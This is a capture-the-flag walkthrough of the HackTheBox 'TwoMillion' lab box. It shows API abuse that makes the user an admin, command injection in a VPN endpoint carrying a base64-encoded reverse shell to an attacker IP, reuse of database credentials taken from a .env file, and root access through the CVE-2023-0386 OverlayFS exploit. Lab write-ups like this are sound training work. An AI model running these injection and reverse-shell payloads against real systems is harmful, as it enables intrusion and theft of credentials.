Two Million - Walkthrough
TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on HackTheBox. The box features an old version of the HackTheBox platform that includes the old hackable invite code. After hacking the invite code an account can be created on the platform. The account can be used to enumerate various API endpoints, one of which can be used to elevate the user to an Administrator. With administrative access the user can perform a command injection in the admin VPN generation endpoint thus gaining a system shell. An .env file is found to contain database credentials and owed to password re-use the attackers can login as user admin on the box. The system kernel is found to be outdated and CVE-2023-0386 can be used to gain a root shell.
Enumeration
sudo nmap -p- -n -Pn --disable-arp-ping -sS -sV -sC -vvv -T5 10.10.11.221 -oN twoMillion| PORT | STATE | SERVICE | REASON | VERSION |
|---|---|---|---|---|
| 22/tcp | open | ssh | syn-ack ttl 63 | OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | open | http | syn-ack ttl 63 | nginx |
The scan reveals that ports 22 (SSH) and 80 (HTTP, served by Nginx) are open. Port 80 redirects to the domain 2million.htb, so we add it to our /etc/hosts file.
echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts
Visiting the identified vHost, we find an old version of the HackTheBox website. By clicking the Join button in the navbar, we are redirected to a registration page requiring an invitation code.

Inspecting the page reveals scripts handling the invitation code validation. The second function sends a POST request to /api/v1/invite/verify to check the submitted code.
<script defer src="/js/inviteapi.min.js"></script>
<script defer>
$(document).ready(function () {
$("#verifyForm").submit(function (e) {
e.preventDefault();
var code = $("#code").val();
var formData = { code: code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: "/api/v1/invite/verify",
success: function (response) {
if (
response[0] === 200 &&
response.success === 1 &&
response.data.message === "Invite code is valid!"
) {
localStorage.setItem("inviteCode", code);
window.location.href = "/register";
} else {
alert("Invalid invite code. Please try again.");
}
},
error: function (response) {
alert("An error occurred. Please try again.");
},
});
});
});
</script>We also identify the script inviteapi.min.js. After deobfuscating with de4js, we obtain:
function verifyInviteCode(code) {
var formData = { code: code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: "/api/v1/invite/verify",
success: function (response) {
console.log(response);
},
error: function (response) {
console.log(response);
},
});
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: "/api/v1/invite/how/to/generate",
success: function (response) {
console.log(response);
},
error: function (response) {
console.log(response);
},
});
}This reveals two new endpoints:
/api/v1/invite/verify/api/v1/invite/how/to/generate
The latter suggests instructions for generating the required invite code.
Requesting this endpoint:
curl -sX POST http://2million.htb/api/v1/invite/how/to/generate | jqWe receive a ROT13-encoded message:
echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
In order to generate the invite code, make a POST request to /api/v1/invite/generateGenerating the invite code:
curl -sX POST http://2million.htb/api/v1/invite/generate | jqDecoding the base64 value:
echo U1oyN0ktUTVaOVMtREtOSVgtUDNDU00= | base64 -d
SZ27I-Q5Z9S-DKNIX-P3CSM
We use this code to register and log into the application.

On /home/access, we find options to generate VPN credentials. The buttons interact with:
/api/v1/user/vpn/generate/api/v1/user/vpn/regenerate
Exploring the API:
curl -s 2million.htb/api --cookie "PHPSESSID=8864c6dup3a2r6a4hq73natc45" | jq{
"/api/v1": "Version 1 of the API"
}curl -s 2million.htb/api/v1 --cookie "PHPSESSID=8864c6dup3a2r6a4hq73natc45" | jq{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}Notably, the admin endpoints include:
/api/v1/admin/auth/api/v1/admin/vpn/generate/api/v1/admin/settings/update
Testing /api/v1/admin/settings/update, we can escalate privileges:
curl -sX PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=8864c6dup3a2r6a4hq73natc45" --header "Content-Type: application/json" --data '{"email":"[email protected]", "is_admin": 1}' | jq
{
"id": 13,
"username": "example",
"is_admin": 1
}Foothold
We now have access to the admin VPN generation endpoint. Sending a payload with command injection:
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=8864c6dup3a2r6a4hq73natc45" --header "Content-Type: application/json" --data '{"username":"test;id;"}'This confirms code execution as www-data. We prepare a reverse shell:
echo "sh -i >& /dev/tcp/10.10.14.63/5000 0>&1" | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvNTAwMCAwPiYxCg==Injecting:
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=8864c6dup3a2r6a4hq73natc45" --header "Content-Type: application/json" --data '{"username":"test;echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvNTAwMCAwPiYxCg== | base64 -d | bash;"}'Post Exploitation
We stabilize our shell as per HackTricks.
Lateral Movement
Inside the web directory /var/www/html, we discover .env:
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123Using these credentials, we SSH as admin:
ssh [email protected]We retrieve the user flag:
cat user.txtUser flag: 73bd321e003fd32a400fb9fd433ff93b
Privilege Escalation
Reading /var/mail/admin reveals hints about a kernel vulnerability (OverlayFS).
uname -a
Linux 2million 5.15.70-051570-generic ...This version is vulnerable to CVE-2023-0386. We compile and run the exploit:
./fuse ./ovlcap/lower ./gc &
./expWe gain root access and capture the flag:
cat /root/root.txtRoot flag: 23901cb02e587f40ab921ba2c9eaa3ad
Appendices
From: ch4p <[email protected]>
To: admin <[email protected]>
Cc: g0blin <[email protected]>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB GodfatherWithin the root directory, we find thank_you.json containing an encoded message. After decoding (URL → Hex → Base64 → XOR with "HackTheBox"), we get the following message from the HTB team celebrating 2 million users.
The original encoded file:
{
"encoding": "url",
"data": "%7B%22encoding%22:%20%22hex%22,%20%22data%22:%20%227b22656e6372797074696f6e223a2022786f72222c2022656e6372707974696f6e5f6b6579223a20224861636b546865426f78222c2022656e636f64696e67223a2022626173653634222c202264617461223a20224441514347585167424345454c43414549515173534359744168553944776f664c5552765344676461414152446e51634454414746435145423073674230556a4152596e464130494d556745596749584a51514e487a7364466d494345535145454238374267426942685a6f4468595a6441494b4e7830574c526844487a73504144594848547050517a7739484131694268556c424130594d5567504c525a594b513848537a4d614244594744443046426b6430487742694442306b4241455a4e527741596873514c554543434477424144514b4653305046307337446b557743686b7243516f464d306858596749524a41304b424470494679634347546f4b41676b344455553348423036456b4a4c4141414d4d5538524a674952446a41424279344b574334454168393048776f334178786f44777766644141454e4170594b67514742585159436a456345536f4e426b736a41524571414130385151594b4e774246497745636141515644695952525330424857674f42557374427842735a58494f457777476442774e4a30384f4c524d61537a594e4169734246694550424564304941516842437767424345454c45674e497878594b6751474258514b45437344444767554577513653424571436c6771424138434d5135464e67635a50454549425473664353634c4879314245414d31476777734346526f416777484f416b484c52305a5041674d425868494243774c574341414451386e52516f73547830774551595a5051304c495170594b524d47537a49644379594f4653305046776f345342457454776774457841454f676b4a596734574c4545544754734f414445634553635041676430447863744741776754304d2f4f7738414e6763644f6b31444844464944534d5a48576748444267674452636e4331677044304d4f4f68344d4d4141574a51514e48335166445363644857674944515537486751324268636d515263444a6745544a7878594b5138485379634444433444433267414551353041416f734368786d5153594b4e7742464951635a4a41304742544d4e525345414654674e4268387844456c6943686b7243554d474e51734e4b7745646141494d425355644144414b48475242416755775341413043676f78515241415051514a59674d644b524d4e446a424944534d635743734f4452386d4151633347783073515263456442774e4a3038624a773050446a63634444514b57434550467734344241776c4368597242454d6650416b5259676b4e4c51305153794141444446504469454445516f36484555684142556c464130434942464c534755734a304547436a634152534d42484767454651346d45555576436855714242464c4f7735464e67636461436b434344383844536374467a424241415135425241734267777854554d6650416b4c4b5538424a785244445473615253414b4553594751777030474151774731676e42304d6650414557596759574b784d47447a304b435364504569635545515578455574694e68633945304d494f7759524d4159615052554b42446f6252536f4f4469314245414d314741416d5477776742454d644d526f6359676b5a4b684d4b4348514841324941445470424577633148414d744852566f414130506441454c4d5238524f67514853794562525459415743734f445238394268416a4178517851516f464f676354497873646141414e4433514e4579304444693150517a777853415177436c67684441344f4f6873414c685a594f424d4d486a424943695250447941414630736a4455557144673474515149494e7763494d674d524f776b47443351634369554b44434145455564304351736d547738745151594b4d7730584c685a594b513858416a634246534d62485767564377353043776f334151776b424241596441554d4c676f4c5041344e44696449484363625744774f51776737425142735a5849414242454f637874464e67425950416b47537a6f4e48545a504779414145783878476b6c694742417445775a4c497731464e5159554a45454142446f6344437761485767564445736b485259715477776742454d4a4f78304c4a67344b49515151537a734f525345574769305445413433485263724777466b51516f464a78674d4d41705950416b47537a6f4e48545a504879305042686b31484177744156676e42304d4f4941414d4951345561416b434344384e467a464457436b50423073334767416a4778316f41454d634f786f4a4a6b385049415152446e514443793059464330464241353041525a69446873724242415950516f4a4a30384d4a304543427a6847623067344554774a517738784452556e4841786f4268454b494145524e7773645a477470507a774e52516f4f47794d3143773457427831694f78307044413d3d227d%22%7D"
}Dear HackTheBox Community,
We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.
From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.
To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.
Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.
With deepest gratitude,
The HackTheBox Team